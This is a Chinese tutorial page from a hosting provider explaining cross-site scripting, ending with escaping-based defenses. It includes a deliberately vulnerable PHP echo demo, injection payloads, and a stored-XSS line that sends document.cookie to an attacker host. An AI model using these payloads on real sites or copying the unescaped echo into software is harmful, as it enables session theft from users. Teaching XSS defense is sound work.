行业动态

防御吧作为15年知名老牌域名服务商,CNNIC和CANN双认证域名注册商,已经
持续为500多万个域名提供服务,包括智能DNS/自由转移/隐私保护等服务!
web网站攻击之跨站脚本攻击xss
2019-04-23 15:30:43 【

什么是跨站脚本攻击xss?

恶意攻击者向Web页面里插入恶意html代码,当用户浏览该页时,嵌入Web里面的html代码会被执行,从而达到恶意攻击用户的特殊目的。


分析一下xss的特点:


1、耗时间

2、有一定几率不成功

3、没有相应的软件来完成自动化攻击

4、前期需要基本的html、js功底,后期需要扎实的html、js、actionscript2/3.0等语言的功底

5、是一种被动的攻击手法

6、如果website有http-only、crossdomian.xml, 则没有用


<html>

<head></head>

<body>

 <span style="font-size:14px;">  

  <meta http-equiv="Content-Type" content="text/html;charset=" utf-8"="" /> <title>xss原理重现</title>  

  <center>

   <h6>把我们输入的字符串 输出到input里的value属性里</h6>

   <form action="" method="POST">

    <h6>请输入你想显现的字符串</h6>

    <input type="text" name="xss_input" value="输入" />

    <br />

    <input type="submit" />

   </form>

   <hr />

   <!--?php  

header("Content-Type:text/html;charset=utf-8");  

$xss=$_POST['xss_input'];  

if(isset($xss)){    

echo '<input type="text" value="'.$xss.'"-->'; }else{ echo '

   <input type="type" value="输出" />'; } ?&gt;

  </center>  </span>

</body>

</html>


我们在输入框里输入 "><script>alert('xss')</script>


分析这一段的代码,前面的">是为了闭合前面的`input,这个输入就可以使弹窗出现


我们也可以输入 " onclick="alert('xss')

因为onclick是鼠标点击事件,也就是说当你的鼠标点击第二个input输入框的时候,

就会触发`onclick 事件,然后执行xss


Js可以干很多的事,可以获取cookies(对http-only没用)、控制用户的动作(发帖、私信什么的)等等。

比如我们在网站的留言区输入下面的代码:<script src="js_url"></script>

当管理员进后台浏览留言的时候,就会触发,然后管理员的cookies和后台地址还有管理员浏览器版本等等你都可以获取到了


下面是XSS攻击方法:

Stored XSS


Stored XSS是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人


例如一个网站a.com可以发文章,我登录后在a.com中发布了一篇文章,文章中包含了恶意代码


<script>window.open(“www.b.com?param=”+document.cookie)</script>


保存文章


这时Tom和Jack看到了我发布的文章,当在查看我的文章时就都中招了

他们的cookie信息都发送到了我的服务器上,攻击成功!

这个过程中,受害者是多个人。

Stored XSS漏洞危害性更大,危害面更广。


XSS防御方法:


完善的过滤体系


永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉


假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换


less-than character (<)&lt

greater-than character (>)&gt

ampersand character (&)&amp

double-quote character (“)&quot

space character( )&nbsp

比如用户输入


<script>window.location.href=”http://www.baidu.com”;</script>


保存后最终存储的会是


<<script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;


在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码


】【打印关闭】 【返回顶部
分享到QQ空间
分享到: 
上一篇如何采取措施有效防范DDoS攻击? 下一篇ssl证书是什么?有什么用?为什么..

立足首都,辐射全球,免备案服务器网专注云防御及云计算服务15年!

联系我们

服务热线:010-56157787 ,010-56159998
企业QQ:4000043998
技术支持:010-56159998
Copyright ? 2003-2016 gnmianbeian.com. 免备案服务器网版权所有 增值许可:京B2-20140042号
售前咨询
公司总机:4000043998 01056155355
24小时电话:010-56159998
投诉电话:18910191973
值班售后/技术支持
售后服务/财务
备案专员
紧急电话:18610088800